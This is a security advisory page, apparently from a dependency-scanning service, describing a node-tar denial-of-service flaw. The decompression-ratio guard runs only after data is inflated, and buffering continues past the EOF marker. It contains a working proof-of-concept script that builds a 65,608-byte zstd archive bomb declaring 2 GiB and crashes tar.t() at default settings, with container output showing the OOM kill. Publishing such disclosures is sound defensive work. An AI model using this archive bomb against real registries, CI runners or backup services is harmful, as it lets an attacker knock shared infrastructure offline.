node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio
Published 5 Dec 2026 · Updated 5 Dec 2026
Affected package
- Affected
- <8.0.0
- Fixed in
- 8.0.0
npm install tar@8.0.0Which tar does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
The maxDecompressionRatio guard tar added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand tar.t()/tar.x() an archive can deny service with 65,608 bytes, at stock settings.
Details
The check runs from the decompressor's 'data' event, which fires once per call to node zlib's *synchronous* _processChunk — by then that input chunk's entire inflated output is resident:
// src/parse.ts:550-555
this[UNZIP].on('data', chunk => {
if (this[CHECKDECOMPRESSIONRATIO](chunk)) {
this[CONSUMECHUNK](chunk)
}
})Compressed bytes are credited per write(), so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole inputSize × 1000 budget before the ratio is evaluated even once, and tar's own file-reading helpers write up to 16 MB at a time. The decompressors are built with no maxOutputLength, so nothing else caps that chunk.
The single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever this.zstd !== false, the default.
A third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:
// src/parse.ts:599-603, 670
while (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }
…
[BUFFERCONCAT](c: Buffer) {
if (c && !this[ABORTED]) {
this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c
}
}Once SAW_EOF is set, position never advances, so every subsequent write() appends its chunk with nothing draining it — and write()'s return value never reflects SAW_EOF, so a piping producer gets no signal to slow down.
PoC
// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.
// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()
// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic
// bytes) and no ratio override. The attacker controls only the archive bytes.
const fs = require('fs');
const z = require('zlib');
const tar = require('tar');
function buildHeader({ size, name = 'payload' }) {
const h = Buffer.alloc(512);
h.write(name); h.write('0000644\0', 100); h.write('0000000\0', 108); h.write('0000000\0', 116);
h.write(size.toString(8).padStart(11, '0') + '\0', 124);
h.write('00000000000\0', 136); h.write(' ', 148); h.write('0', 156); h.write('ustar \0', 257);
let s = 0; for (let i = 0; i < 512; i++) s += h[i];
h.write(s.toString(8).padStart(6, '0') + '\0 ', 148);
return h;
}
const size = 2 * 1024 * 1024 * 1024; // declared entry size: 2 GiB
const h = buildHeader({ size });
const zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');
zc.pipe(out); zc.write(h);
const CH = Buffer.alloc(1 << 20); let w = 0;
(function loop() {
while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }
zc.write(Buffer.alloc(1024)); zc.end();
out.on('finish', run);
})();
function run() {
console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');
const p = tar.t({ onentry: () => {} }); // stock options
const b = fs.readFileSync('bomb.tar.zst');
for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536));
p.end();
}## The node process prints one line and then dies mid-parse; the exit status and the
## OOM flag below come from the container runtime, not from the script.
$ npm i tar@7.5.22
$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v "$PWD:/w" -w /w node:22 node poc.js
archive built: 65608 bytes; parsing...
$ echo "exit=$?"
exit=137
$ docker inspect tar-poc --format '{{.State.OOMKilled}}'
true
## The archive is written before parsing starts, so it survives the kill:
$ ls -l bomb.tar.zst
-rw-r--r-- 65608 bomb.tar.zst # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1
## No "max decompression ratio exceeded" error precedes the kill, though that ratio is
## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd
## frame expands past the cap inside a single synchronous _processChunk.Impact
A remote, unauthenticated attacker who can get any service to run tar.t()/tar.x() on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.
Is GHSA-9239-v992-p74f in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.
More advisories for tar
- HighCVE-2026-140230node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill · 2 Dec 2026
- HighCVE-2026-140231node-tar: Decompression within the ratio limit is buffered in memory without backpressure, and zero-size entries queue without bound · 2 Dec 2026
- HighCVE-2026-140234node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes · 2 Dec 2026
- HighCVE-2026-140235node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection · 2 Dec 2026
- HighCVE-2026-140236node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies · 2 Dec 2026
- MediumCVE-2026-140237node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling · 2 Dec 2026
References
- Linkgithub.com/isaacs/node-tar/security/advisories/GHSA-9239-v992-p74f
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-140229
- Linkgithub.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2
- Linkgithub.com/isaacs/node-tar/commit/da66090c7a44b2140bd4a6343c478a8e411e1aa7
- Packagegithub.com/isaacs/node-tar
- Linkgithub.com/isaacs/node-tar/releases/tag/v8.0.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.